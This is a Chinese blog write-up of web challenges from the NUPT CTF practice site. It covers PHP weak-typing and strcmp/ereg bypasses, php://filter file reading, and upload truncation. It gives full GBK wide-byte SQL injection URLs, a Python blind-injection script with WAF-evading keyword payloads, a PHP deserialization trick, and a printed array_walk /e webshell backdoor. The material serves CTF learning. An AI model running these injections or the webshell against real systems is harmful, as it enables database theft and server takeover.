南邮ctf(web wp)

签到

源代码就有了

md5 collision

传一个字符串,值跟QNKCDZO一样但是又不是它的就行了

签到2

改了本地的maxlength就能输进去zhimakaimen然后拿到flag了

这题不是WEB

把图片下载下来丢去010editor就能看到flag了

层层递进

点进去一直找,找到一个404.html就能看到了,真的藏得很深

单身二十年

页面很快就跳转,抓包就行了

你从哪里来

这题抓包改一下referer成https://www.google.com就能拿到flag了,但是后台挂了,gg

php decode

这题我弄了很久,没看懂题目在要我简单的跑程序出flag还是要看着加密过程逆出来..........

然鹅,只是简单地跑下程序就出来了

文件包含

这题oj也挂了,不过找到这个网址,应该是以前的oj的题,这个能做

http://4.chinalover.sinaapp.com/web7/index.php

先php://input试一下,发现触发waf

所以可以利用php://filter作为中间流去输出其他文件或者我们想要输入的东西,下面是输出index.php的源码,经过base64解密

解密得到

单身一百年也没用

这题其实跟前一题单身题差不多,只是flag在响应头里

download

这题挂了,文件都下载不了,做不了=_=

cookie

题目提示很明显,看到cookie里面login是0

改下成1就get flag了

MySQL

这题进去可以见到网页有Do you know robots.txt?

访问一下robots.txt可以看见一些源码

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

这题可以看见,后台将得到的参数进行整数转化,所以我们想闭合单引号进行注入是不行的了(这题也不是考注入........

但是如果我们输入1024e12的话,$id会是1024,int型直接去掉e后面的数字进行赋值,但是当判断$_GET[id]==1024时就会为假,因为没有强制类型转化,所以两个一个是1024,一个是1024*10^12,不相等,因此就能绕过得到flag

sql injection3

这题进去看见可以输入id,而id被单引号括着,在后面加一个单引号,发现被转义了,再加多一个反斜杠,结果又被转义的,猜测后台应该是有了addslashes函数,尝试下宽字节注入

这里有个提示是,当id等于2时页面会有gbk_sql_injection,当id等于3时页面会有the fourth table

所以剩下的要做的就是宽字节注入,查看第四张表

看数据库

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,database() --+

然后就是看表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572 --+

因为无法添加单引号或者双引号,所以用16进制绕过

题目提示了是第四张表,所以就直接看第四张表了

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 --+

最后直接读flag了

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,flag from ctf4 --+

/x00

这题是ereg函数绕过

进去就给源码

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

传进去一个nctf参数,要是数字,同时又要在里面有#biubiubiu,看起来好像很矛盾,但是有个ereg函数在

两个方法

第一个

%00截断,ereg函数解析到%00时会自动认为字符串已经结束,所以就能绕过第一个检测同时符合第二个了

第二个

传入数组,因为ereg处理数组会报null,第一个判断为假,所以刚好绕过了,而且strpos检测的也是报null,不等于false,也绕过了,就能出flag了

bypass again

这题是考弱类型,只要是0e开头,php都会认为他们是相等的,所以传入几个md5以后是0e开头的值就行了

变量覆盖

这题进去能看到有个source.php,点开看一看发现

pass是我们传进去的密码,thepassword_123是后台的密码,但是我们拿不到咯嗦,可是他有一个extract函数,可以对获得的变量进行赋值,构造一个语句,使pass和thepassword_123相等,就有flag了

PHP是世界上最好的语言

这题貌似服务器又挂了2333,点进去.......就没了.........

伪装者

这题据说是抓包改下X-Forwarded-For:127.0.0.1发过去就有flag了,可是发包过去居然没响应.........试下改了referer也还是不行,应该是挂了8,gg

Header

这题提示头啊,应该就是抓包看头部就有flag了,但是服务器不响应,喵喵喵?太阔怕辣

上传绕过

就去看到有个文件上传

这题上传图片返回要上传php,上传php返回文件类型不对

试下大小写Php,php3不行,改content-type不行,1.php.jpg会解析出图片,filename截断也不可以,最后是路径截断

然后就有flag了

SQL注入1

这题source有源码

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

闭合单引号括号注释后面进行查询就行了

pass check

源码

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

因为是用strcmp去比较,所以如果传入数组就会返回0,非了以后就是真了

起名字真难

这题也给了源码

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

传入的key不能有数字但是又要等于54975581388,用十六进制转化一下

密码重置

服务器挂了, ̄□ ̄||

php反序列化

这题也是讲下思路,有源码,但是也是进不去网页......

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

利用反序列化输入一个对象满足条件去实现绕过

<?php

class just4fun
{
    var $enter;
    var $secret;
    function just4fun2(){
        $this->enter =& $this->secret;
    }
}
$flag = new just4fun();
$flag->just4fun2();

echo serialize($flag);

取secret的地址赋给enter,就能满足条件了

本地测试得出O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

对页面进行访问就行了

sql injection4

源码可以看到

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES); //转义单引号和双引号
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;

这题单引号双引号用不了,但是可以用反斜杠把单引号转义了

综合题

这题进去看到jsfuck代码

解密得到

访问看到

脑袋联想到响应头

访问一下

继续访问就有一个压缩包下下来,打开就有flag了

system

挂了..........

SQL注入2

源码

<html>
<head>
Secure Web Login II
</head>
<body>

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

这题跟实验吧程序逻辑错误很像,构造sql语句,闭合前面,然后后面加上我们的赋值,就可以让语句查询到值了

综合题2

这题点进去本cms说明的时候可以发现这里改一下后面的file的值是可以读取文件的,将文件读一下

这里用个脚本

import requests
import codecs
from bs4 import BeautifulSoup
url = "http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php", "passencode.php", "say.php", "config.php", "antixss.php", "about.php", "so.php",
             "antiinject.php", "xlcteam.php","loginxlcteam.php"]
for i in file_list:
    res = requests.get(url + i)
    print("dowload " + i)
    if res.status_code == 200:
        res.encoding = "utf8"
    with codecs.open(i, "w+", "utf8") as handle:
        print("done")
        text = BeautifulSoup(res.text, "lxml").text
        handle.write(text)

然后就能得到这些文件的源码了,这里有些是后来加上去的,题目一开始没有提示那么多,做着做着就发现了

这里只贴几个重要的文件的源码

so.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>

<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

antiinjection.php

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

passencode.php

<?php
function passencode($content){
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=""){
$pass=$pass." ".(string)ord($array[$i]);
}else{
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
?>

其他的表可以得知数据表示admin,然后这里绕waf的脚本也知道了,剩下的就是注入了,注入点就是搜索那里,看回so.php,可以见到id没有引号括着,不用闭合(后台也过滤了引号

如果输入的语句是正确的,网页就会返回一段大秘密的话(很长

如果不正确,那就没有数据回显

然后就可以进行盲注了,这里贴贴大佬的脚本,肉鸡太菜了,脚本跑不动,不知道错在哪.........

import requests
url = "http://cms.nuptzj.cn/so.php"
chars = "0123456789"
header = {
    'User-Agent': 'Xlcteam Browser',
    'Host': 'cms.nuptzj.cn',
}
result = ""
for i in range(1,35):
    for j in chars:
        # print(j)
        char = ord(j)
        payload = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/{0}/*a*/FOorR/*a*/1))>{1})'.format(
            i, char)
        data = {
            "soid": payload
        }
        response = requests.post(url=url, headers=header, data=data)
        # print(response.text)
        result_len = len(str(response.text))
        if (result_len < 430):
            result += chr(int(char))
            print(result)
            break

得出结果是1020117099010701140117011001160117

后台对密码的加密是对应他们的ascii码,所以解密过来就是fuckruntu

然后登录管理员页面,这里管理员页面是http://cms.nuptzj.cn/loginxlcteam/index.php

这个地址基本靠猜,看到有个loginxlcteam.php文件猜测的,真的没找到哪里有说明

登进去以后看到这个

然后一开始文件漏洞是可以帮我们看到xlcteam.php的源码的

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

然后就是一句话木马的利用

flag get√

注入实战1

后台挂了,GG

密码重置2

挂了too

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值